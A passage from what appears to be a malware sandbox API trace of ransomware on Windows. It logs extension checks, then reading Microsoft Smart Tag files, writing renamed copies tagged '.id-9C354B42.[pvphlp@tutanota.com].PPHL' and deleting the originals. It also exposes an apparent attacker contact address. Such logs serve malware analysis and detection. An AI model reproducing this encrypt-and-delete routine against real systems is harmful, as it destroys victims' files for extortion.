"c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0073.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.819] lstrlenW (lpString=".doc") returned 4 [0073.819] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString=".docx") returned 5 [0073.819] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0073.819] lstrlenW (lpString=".pdf") returned 4 [0073.819] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString=".xls") returned 4 [0073.819] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString=".xlsx") returned 5 [0073.819] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0073.819] lstrlenW (lpString=".ppt") returned 4 [0073.819] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.819] lstrlenW (lpString=".zip") returned 4 [0073.819] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.819] lstrlenW (lpString=".rar") returned 4 [0073.819] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString=".bz2") returned 4 [0073.819] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString=".7z") returned 3 [0073.819] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.819] lstrlenW (lpString=".dbf") returned 4 [0073.819] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.819] lstrlenW (lpString=".1cd") returned 4 [0073.819] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.819] lstrlenW (lpString=".jpg") returned 4 [0073.819] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.819] lstrlenW (lpString=".doc") returned 4 [0073.820] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.820] lstrlenW (lpString=".docx") returned 5 [0073.820] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0073.820] lstrlenW (lpString=".pdf") returned 4 [0073.820] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.820] lstrlenW (lpString=".xls") returned 4 [0073.820] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.820] lstrlenW (lpString=".xlsx") returned 5 [0073.820] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0073.820] lstrlenW (lpString=".ppt") returned 4 [0073.820] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.820] lstrlenW (lpString=".zip") returned 4 [0073.820] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.820] lstrlenW (lpString=".rar") returned 4 [0073.820] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.820] lstrlenW (lpString=".bz2") returned 4 [0073.820] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.820] lstrlenW (lpString=".7z") returned 3 [0073.820] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.820] lstrlenW (lpString=".dbf") returned 4 [0073.820] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.820] lstrlenW (lpString=".1cd") returned 4 [0073.820] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0073.820] lstrlenW (lpString=".jpg") returned 4 [0073.820] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.820] lstrcmpiW (lpString1=".DAT", lpString2=".PPHL") returned -1 [0073.821] lstrlenW (lpString="STOCKS.DAT") returned 10 [0073.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.822] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=39017) returned 1 [0073.822] CloseHandle (hObject=0x1f0) returned 1 [0073.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0073.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.822] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.822] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0073.823] GetLastError () returned 0x0 [0073.823] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x9869, lpOverlapped=0x0) returned 1 [0073.825] WriteFile (in: hFile=0x1ac, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0073.827] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.827] WriteFile (in: hFile=0x1ac, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0073.827] SetEndOfFile (hFile=0x1ac) returned 1 [0073.827] CloseHandle (hObject=0x1ac) returned 1 [0073.827] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.827] SetEndOfFile (hFile=0x1f0) returned 1 [0073.828] CloseHandle (hObject=0x1f0) returned 1 [0073.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.829] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0073.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.829] lstrlenW (lpString=".doc") returned 4 [0073.829] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0073.829] lstrlenW (lpString=".docx") returned 5 [0073.829] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0073.829] lstrlenW (lpString=".pdf") returned 4 [0073.829] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0073.829] lstrlenW (lpString=".xls") returned 4 [0073.829] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0073.829] lstrlenW (lpString=".xlsx") returned 5 [0073.829] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0073.829] lstrlenW (lpString=".ppt") returned 4 [0073.829] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0073.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.829] lstrlenW (lpString=".zip") returned 4 [0073.829] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0073.829] lstrlenW (lpString=".rar") returned 4 [0073.829] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0073.829] lstrlenW (lpString=".bz2") returned 4 [0073.829] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0073.829] lstrlenW (lpString=".7z") returned 3 [0073.829] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0073.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.829] lstrlenW (lpString=".dbf") returned 4 [0073.829] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0073.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.830] lstrlenW (lpString=".1cd") returned 4 [0073.830] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0073.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.830] lstrlenW (lpString=".jpg") returned 4 [0073.830] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0073.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.830] lstrlenW (lpString=".doc") returned 4 [0073.830] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0073.830] lstrlenW (lpString=".docx") returned 5 [0073.830] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0073.830] lstrlenW (lpString=".pdf") returned 4 [0073.830] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0073.830] lstrlenW (lpString=".xls") returned 4 [0073.830] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0073.830] lstrlenW (lpString=".xlsx") returned 5 [0073.830] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0073.830] lstrlenW (lpString=".ppt") returned 4 [0073.830] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0073.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.830] lstrlenW (lpString=".zip") returned 4 [0073.830] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0073.830] lstrlenW (lpString=".rar") returned 4 [0073.830] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0073.830] lstrlenW (lpString=".bz2") returned 4 [0073.830] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0073.830] lstrlenW (lpString=".7z") returned 3 [0073.830] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0073.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.830] lstrlenW (lpString=".dbf") returned 4 [0073.830] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0073.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.831] lstrlenW (lpString=".1cd") returned 4 [0073.831] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0073.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0073.831] lstrlenW (lpString=".jpg") returned 4 [0073.831] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0073.831] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.831] lstrlenW (lpString="STOCKS.XML") returned 10 [0073.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.831] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=2687) returned 1 [0073.831] CloseHandle (hObject=0x1f0) returned 1 [0073.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0073.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.112] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.112] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0074.113] GetLastError () returned 0x0 [0074.113] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0074.138] WriteFile (in: hFile=0x1ec, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0074.139] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.140] WriteFile (in: hFile=0x1ec, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0074.140] SetEndOfFile (hFile=0x1ec) returned 1 [0074.140] CloseHandle (hObject=0x1ec) returned 1 [0074.140] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.140] SetEndOfFile (hFile=0x1f0) returned 1 [0074.141] CloseHandle (hObject=0x1f0) returned 1 [0074.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0074.141] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0074.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.141] lstrlenW (lpString=".doc") returned 4 [0074.141] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.141] lstrlenW (lpString=".docx") returned 5 [0074.141] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0074.142] lstrlenW (lpString=".pdf") returned 4 [0074.142] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString=".xls") returned 4 [0074.142] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString=".xlsx") returned 5 [0074.142] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0074.142] lstrlenW (lpString=".ppt") returned 4 [0074.142] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.142] lstrlenW (lpString=".zip") returned 4 [0074.142] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.142] lstrlenW (lpString=".rar") returned 4 [0074.142] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString=".bz2") returned 4 [0074.142] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString=".7z") returned 3 [0074.142] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.142] lstrlenW (lpString=".dbf") returned 4 [0074.142] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.142] lstrlenW (lpString=".1cd") returned 4 [0074.142] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.142] lstrlenW (lpString=".jpg") returned 4 [0074.142] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.142] lstrlenW (lpString=".doc") returned 4 [0074.142] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString=".docx") returned 5 [0074.142] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0074.142] lstrlenW (lpString=".pdf") returned 4 [0074.142] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.142] lstrlenW (lpString=".xls") returned 4 [0074.143] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.143] lstrlenW (lpString=".xlsx") returned 5 [0074.143] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0074.143] lstrlenW (lpString=".ppt") returned 4 [0074.143] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.143] lstrlenW (lpString=".zip") returned 4 [0074.143] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.143] lstrlenW (lpString=".rar") returned 4 [0074.143] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.143] lstrlenW (lpString=".bz2") returned 4 [0074.143] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.143] lstrlenW (lpString=".7z") returned 3 [0074.143] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.143] lstrlenW (lpString=".dbf") returned 4 [0074.143] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.143] lstrlenW (lpString=".1cd") returned 4 [0074.143] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0074.143] lstrlenW (lpString=".jpg") returned 4 [0074.143] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.156] lstrcmpiW (lpString1=".XSL", lpString2=".PPHL") returned 1 [0074.156] lstrlenW (lpString="BASMLA.XSL") returned 10 [0074.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0074.157] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=227311) returned 1 [0074.157] CloseHandle (hObject=0x18c) returned 1 [0074.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0074.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0074.157] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.157] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0074.157] GetLastError () returned 0x0 [0074.158] ReadFile (in: hFile=0x18c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0074.171] WriteFile (in: hFile=0x208, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0074.178] ReadFile (in: hFile=0x18c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.178] WriteFile (in: hFile=0x208, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0074.178] SetEndOfFile (hFile=0x208) returned 1 [0074.179] CloseHandle (hObject=0x208) returned 1 [0074.179] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.179] SetEndOfFile (hFile=0x18c) returned 1 [0074.181] CloseHandle (hObject=0x18c) 